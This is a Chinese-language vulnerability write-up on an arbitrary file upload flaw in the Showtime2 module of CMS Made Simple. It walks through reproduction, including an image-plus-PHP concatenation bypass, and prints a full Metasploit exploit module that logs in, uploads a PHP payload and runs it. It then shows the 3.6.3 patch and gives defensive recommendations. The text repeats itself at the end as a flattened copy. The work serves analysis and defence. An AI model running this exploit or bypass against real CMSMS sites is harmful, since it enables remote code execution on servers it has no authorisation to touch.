一个任意文件上传漏洞的复现、分析、利用与防御建议
字数 1084 2025-08-18 11:38:52

CMS Made Simple Showtime2 任意文件上传漏洞分析与防御指南

漏洞概述

CMS Made Simple (CMSMS) 是一个简单易用的内容管理系统。Showtime2 是 CMSMS 中常用的模块,主要用于上传水印图片。在 3.6.2 及之前版本中,该模块存在任意文件上传漏洞,攻击者可利用此漏洞上传任意文件并远程执行代码。

实验环境

  • 渗透主机: kali-linux-2018.3-vm-i386
  • 目标主机: Debian 9.6 x64
  • 软件版本: CMS Made Simple 2.2.8
  • 插件版本: Showtime2-3.6.0

漏洞复现步骤

  1. 正常图片上传测试

    • 上传名为 Hacker.jpg 的水印图片,确认上传功能正常
  2. 尝试上传PHP文件

    • 上传名为 test123.php 的文件
    • 虽然服务器显示警告(无法获取图片尺寸),但文件实际上传成功
    • 通过 URL 验证文件确实存在
  3. 绕过图片尺寸检测

    cat Hacker.jpg test123.php > Hacker123.php
    
    • 将图片与PHP文件拼接后上传,成功绕过检测

漏洞分析

问题存在于 showtime2_image 类的 watermark_image 方法中:

class showtime2_image{
    protected function __construct() {}
    public static function watermark_image($source_image, $dest_image, $create_bak=true){
        $gCms = cmsms();
        $config = $gCms->GetConfig();
        $mod = cms_utils::get_module('Showtime2');
        
        if ($mod->GetPreference('watermark_bak')=='1' && $create_bak){
            copy($source_image,$source_image.'.bak');
        }
        
        $watermark_file = $mod->GetPreference('watermark_file');
        if ($watermark_file=='watermark.png'){
            $watermark_file = $config['root_path'].'/modules/Showtime2/images/watermark.png';
        }else{
            $watermark_file = $config['image_uploads_path'].'/'.$watermark_file;
        }
        
        if (!file_exists($watermark_file)) return false;

关键问题

  • 代码在执行 copy 函数后直接指定了 watermark_file 的存储路径
  • 没有对上传文件进行任何校验和过滤
  • 仅检查文件是否存在,不验证文件类型

漏洞利用(Metasploit模块分析)

1. 模块基本信息定义

class MetasploitModule < Msf::Exploit::Remote
    Rank = NormalRanking
    include Msf::Exploit::FileDropper
    include Msf::Exploit::Remote::HttpClient
    
    def initialize(info = {})
        super(update_info(info,
            'Name' => "CMS Made Simple Showtime2 File Upload Exploit",
            'Description' => %q{
                This module exploits a File Upload vulnerability of Showtime2 module (<= 3.6.2) in CMS Made Simple (CMSMS).
                An authenticated user who has "Use Showtime2" privilege could exploit the vulnerability.
            },
            'License' => MSF_LICENSE,
            'Author' => ['Neroqi'],
            'Platform' => ['php'],
            'Targets' => [['Automatic', {}]],
            'DisclosureDate' => "August 11 2019",
            'DefaultTarget' => 0))
            
        register_options(
            [
                OptString.new('USERNAME', [true, "Username for login"]),
                OptString.new('PASSWORD', [true, "Password for login"]),
                OptString.new('TARGETURI', [true, "CMSMS directory path"])
            ], self.class)
    end

2. CMSMS登录功能

def login_cmsms
    response = send_request_cgi(
        'method' => 'POST',
        'uri' => normalize_uri(target_uri.path, 'admin', 'login.php'),
        'vars_post' => {
            'username' => datastore['username'],
            'password' => datastore['password'],
            'loginsubmit' => 'Submit'
        }
    )
    
    unless response
        fail_with(Failure::Unreachable, 'Connection failed')
    end
    
    if response.code == 302
        @location_name = response.headers['Location'].scan(/m1_([^=]+)=/).flatten[-2].to_s
        @location_value = response.headers['Location'].scan(/m1_[^=]+=([^&]+)/).flatten[-1].to_s
        @cookies = response.get_cookies
        return
    end
    
    fail_with(Failure::NoAccess, 'Login failed')
end

3. 上传Payload功能

def upload_payload(file_name, file_content)
    postdata = Rex::MIME::Message.new
    postdata.add_part('Showtime2,m1_,defaultadmin,0', nil, nil, "form-data; name=\"mact\"")
    postdata.add_part('Upload', nil, nil, "form-data; name=\"m1_upload_submit\"")
    postdata.add_part(@location_value, nil, nil, "form-data; name=\"#{@location_name}\"")
    postdata.add_part(file_content, 'text/plain', nil, "from-data; name=\"m1_input_browse\"; filename=\"#{file_name}\"")
    
    response = send_request_cgi(
        'method' => 'POST',
        'uri' => normalize_uri(target_uri, 'admin', 'moduleinterface.php'),
        'ctype' => "multipart/form-data; boundary=#{postdata.bound}",
        'data' => postdata.to_s,
        'headers' => {
            'Cookie' => @cookies
        }
    )
    
    unless response
        fail_with(Failure::Unreachable, 'Connection failed')
    end
    
    if response.code == 200 && (response.body =~ /#{Regexp.escape(file_name)}/i || response.body =~ /id="showoverview"/i)
        return
    end
    
    print_warning('No confidence in PHP payload success or failure')
end

4. 漏洞检测功能

def check
    response = send_request_cgi(
        'method' => 'GET',
        'uri' => normalize_uri(target_uri.path, 'modules', 'Showtime2', 'moduleinfo.ini')
    )
    
    unless response
        vprint_error 'Connection failed'
        return CheckCode::Unknown
    end
    
    if response.code == 200
        module_version = Gem::Version.new(response.body.scan(/^version = "?(\d\.\d\.\d)"?/).flatten.first)
        if module_version < Gem::Version.new('3.6.3')
            vprint_status("Showtime2 version: #{module_version}")
            return Exploit::CheckCode::Appears
        end
    end
    
    return Exploit::CheckCode::Safe
end

5. 主利用功能

def exploit
    unless Exploit::CheckCode::Appears == check
        fail_with(Failure::NotVulnerable, 'Target is not vulnerable.')
    end
    
    @location_name = nil
    @location_value = nil
    @cookies = nil
    
    login_cmsms
    
    file_name = "#{rand_text_alphanumeric(1..6)}.php"
    file_content = "<?php #{payload.encoded} ?>"
    
    print_status('Uploading PHP payload.')
    upload_payload(file_name, file_content)
    
    print_status("Requesting '/#{file_name}' to execute payload.")
    send_request_cgi(
        {
            'method' => 'GET',
            'uri' => normalize_uri(target_uri.path, 'uploads', 'images', file_name)
        }, 15
    )
end

漏洞修复方案

在 3.6.3 版本中,修复代码如下:

class showtime2_image{
    protected function __construct() {}
    public static function watermark_image($source_image, $dest_image, $create_bak=true){
        $gCms = cmsms();
        $config = $gCms->GetConfig();
        $mod = cms_utils::get_module('Showtime2');
        
        if ($mod->GetPreference('watermark_bak')=='1' && $create_bak){
            copy($source_image,$source_image.'.bak');
        }
        
        $watermark_file = $mod->GetPreference('watermark_file');
        if ($watermark_file=='watermark.png'){
            $watermark_file = $config['root_path'].'/modules/Showtime2/images/watermark.png';
        }else{
            $watermark_file = $config['image_uploads_path'].'/'.$watermark_file;
        }
        
        $fext = strtoupper(substr($watermark_file, strrpos($watermark_file, '.')));
        if (!in_array($fext,array('.GIF','.JPG','.JPEG','.PNG')))
            unlink($watermark_file);
            
        if (!file_exists($watermark_file)) return false;

修复要点

  1. 提取文件后缀名(包含".")
  2. 将后缀名转换为大写
  3. 使用白名单验证(仅允许 .GIF, .JPG, .JPEG, .PNG)
  4. 不在白名单中的文件立即删除

防御建议

  1. 使用白名单而非黑名单

    • 黑名单难以覆盖所有可能的危险扩展名
    • 攻击者可能使用截断(如 test123.php%00.jpg)绕过黑名单
  2. 多重验证机制

    • 文件扩展名验证
    • 文件内容验证(如检查图片魔数)
    • 文件大小限制
  3. 存储安全

    • 上传文件存储在非Web可访问目录
    • 通过脚本间接访问上传文件
  4. 权限控制

    • 限制上传功能权限
    • 实施CSRF保护
  5. 及时更新

    • 将Showtime2模块升级到3.6.3或更高版本

总结

本漏洞展示了文件上传功能实现不当可能导致的严重后果。开发时应始终采用白名单机制,并结合多重验证手段确保上传文件的安全性。对于使用CMSMS系统的用户,应及时更新相关模块以消除安全隐患。

CMS Made Simple Showtime2 任意文件上传漏洞分析与防御指南 漏洞概述 CMS Made Simple (CMSMS) 是一个简单易用的内容管理系统。Showtime2 是 CMSMS 中常用的模块,主要用于上传水印图片。在 3.6.2 及之前版本中,该模块存在任意文件上传漏洞,攻击者可利用此漏洞上传任意文件并远程执行代码。 实验环境 渗透主机 : kali-linux-2018.3-vm-i386 目标主机 : Debian 9.6 x64 软件版本 : CMS Made Simple 2.2.8 插件版本 : Showtime2-3.6.0 漏洞复现步骤 正常图片上传测试 上传名为 Hacker.jpg 的水印图片,确认上传功能正常 尝试上传PHP文件 上传名为 test123.php 的文件 虽然服务器显示警告(无法获取图片尺寸),但文件实际上传成功 通过 URL 验证文件确实存在 绕过图片尺寸检测 将图片与PHP文件拼接后上传,成功绕过检测 漏洞分析 问题存在于 showtime2_image 类的 watermark_image 方法中: 关键问题 : 代码在执行 copy 函数后直接指定了 watermark_file 的存储路径 没有对上传文件进行任何校验和过滤 仅检查文件是否存在,不验证文件类型 漏洞利用(Metasploit模块分析) 1. 模块基本信息定义 2. CMSMS登录功能 3. 上传Payload功能 4. 漏洞检测功能 5. 主利用功能 漏洞修复方案 在 3.6.3 版本中,修复代码如下: 修复要点 : 提取文件后缀名(包含".") 将后缀名转换为大写 使用白名单验证(仅允许 .GIF, .JPG, .JPEG, .PNG) 不在白名单中的文件立即删除 防御建议 使用白名单而非黑名单 : 黑名单难以覆盖所有可能的危险扩展名 攻击者可能使用截断(如 test123.php%00.jpg )绕过黑名单 多重验证机制 : 文件扩展名验证 文件内容验证(如检查图片魔数) 文件大小限制 存储安全 : 上传文件存储在非Web可访问目录 通过脚本间接访问上传文件 权限控制 : 限制上传功能权限 实施CSRF保护 及时更新 : 将Showtime2模块升级到3.6.3或更高版本 总结 本漏洞展示了文件上传功能实现不当可能导致的严重后果。开发时应始终采用白名单机制,并结合多重验证手段确保上传文件的安全性。对于使用CMSMS系统的用户,应及时更新相关模块以消除安全隐患。